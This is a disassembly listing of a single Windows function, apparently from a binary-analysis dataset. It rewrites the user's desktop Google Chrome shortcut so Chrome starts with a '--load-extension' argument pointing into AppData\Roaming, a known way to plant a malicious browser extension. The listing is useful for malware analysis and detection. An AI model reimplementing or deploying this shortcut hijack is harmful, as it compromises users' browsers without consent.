Function at 0x140001b70
Capabilities:
Create shortcut via ishelllink

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x440]
sub rsp, 0x540
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x430], rax
mov rsi, rcx
mov qword [rbp - 0x60], rcx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rcx, [rbp - 0x18]
call fcn.140001230
nop
movabs rax, 0x7fffffffffffffff
mov r14, rax
mov r15, qword [rbp - 8]
sub r14, r15
cmp r14, 9
jb 0x140002281
lea rdx, [rbp - 0x18]
mov r12, qword [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rdx, r12
mov qword [rbp - 0x70], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r13, [r15 + 9]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
movabs rcx, 0x8000000000000000
lea r8d, [rbx + 7]
cmp r13, rbx
jbe 0x140001c9c
mov rbx, r13
or rbx, 0xf
cmp rbx, rax
jbe 0x140001c58
mov rbx, rax
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400034b0
test rax, rax
je 0x140001c7b
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rdx, qword [rbp - 0x70]
jmp 0x140001c97
cmp rbx, r8
cmovb rbx, r8
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001c82
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002275
jmp 0x140001c39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001c95
call fcn.1400034b0
mov rdi, rax
mov rdx, qword [rbp - 0x70]
jmp 0x140001c97
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], rbx
movsd xmm0, qword [str.C:Users_]
movsd qword [rdi], xmm0
movzx eax, byte [0x140005620]
mov byte [rdi + 8], al
lea rcx, [rdi + 9]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r13], 0
mov r8d, 0x1a
lea rdx, str.DesktopGoogle_Chrome.lnk
lea rcx, [rsp + 0x30]
call fcn.140003270
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001d55
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400034ec
movdqa xmm0, xmmword [0x140005710]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
cmp r14, 0x1a
jb 0x14000226f
lea r13, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r13, r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea r14, [r15 + 0x1a]
mov ebx, 0xf
lea rdi, [rsp + 0x50]
cmp r14, rbx
jbe 0x140001e2f
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140001de9
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400034b0
test rax, rax
je 0x140001e12
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001e2a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001e19
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000227b
jmp 0x140001dce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001e28
call fcn.1400034b0
mov rdi, rax
jmp 0x140001e2a
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [str.__load_extensionC:Users_]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x1400054b0]
movsd qword [rdi + 0x10], xmm0
movzx eax, word [0x1400054b8]
mov word [rdi + 0x18], ax
lea rcx, [rdi + 0x1a]
mov r8, r15
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 0x11
lea rdx, str.AppDataRoaming_
lea rcx, [rsp + 0x50]
call fcn.140003270
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140001ec3
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x70]
call fcn.140003270
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001f3d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400034ec
movdqa xmm0, xmmword [0x140005710]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001f8f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f8a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400034ec
movdqa xmm0, xmmword [0x140005710]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea r9, [0x1400052d0]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x1400052f0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1400020fe
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [0x1400052e0]
call qword [rax]
test eax, eax
js 0x1400020e4
lea r8, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova r8, qword [rbp - 0x38]
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [rbp - 0x70]
mov rax, qword [rcx]
xor r8d, r8d
lea rdx, [rbp + 0x10]
call qword [rax + 0x28]
test eax, eax
js 0x1400020c0
lea r8, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova r8, qword [rbp - 0x58]
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x220]
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
lea rdx, [rbp + 0x220]
call qword [rax + 0x58]
test eax, eax
js 0x1400020b7
mov rcx, qword [rbp - 0x70]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rbp + 0x10]
call qword [rax + 0x30]
test eax, eax
js 0x1400020ae
lea rcx, str.Shortcut_target_modified_successfully._n
call fcn.140001010
mov rcx, qword [rbp - 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000210c
lea rcx, str.Error_saving_modified_shortcut_file._HRESULT:_0x_x_n
jmp 0x1400020c7
lea rcx, str.Error_setting_shortcut_arguments._HRESULT:_0x_x_n
jmp 0x1400020c7
lea rcx, str.Error_loading_shortcut_file._HRESULT:_0x_x_n
mov edx, eax
call fcn.140001010
mov rcx, qword [rbp - 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000210c
mov edx, eax
lea rcx, str.Error_querying_IPersistFile_interface._HRESULT:_0x_x_n
call fcn.140001010
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000210c
mov edx, eax
lea rcx, str.Error_creating_IShellLink_instance._HRESULT:_0x_x_n
call fcn.140001010
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002151
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000214c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000214c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400034ec
movdqa xmm0, xmmword [0x140005710]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400021a0
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000219b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000219b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400034ec
movdqa xmm0, xmmword [0x140005710]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rax, qword [rbp]
cmp rax, 0xf
jbe 0x1400021f1
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400021e8
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.1400034ec
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140002227
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140002222
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002268
mov rcx, r8
call fcn.1400034ec
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
xor eax, eax
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.140003490
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001210
nop
call fcn.140001170
nop
call fcn.140001170
nop
call fcn.140001210
int3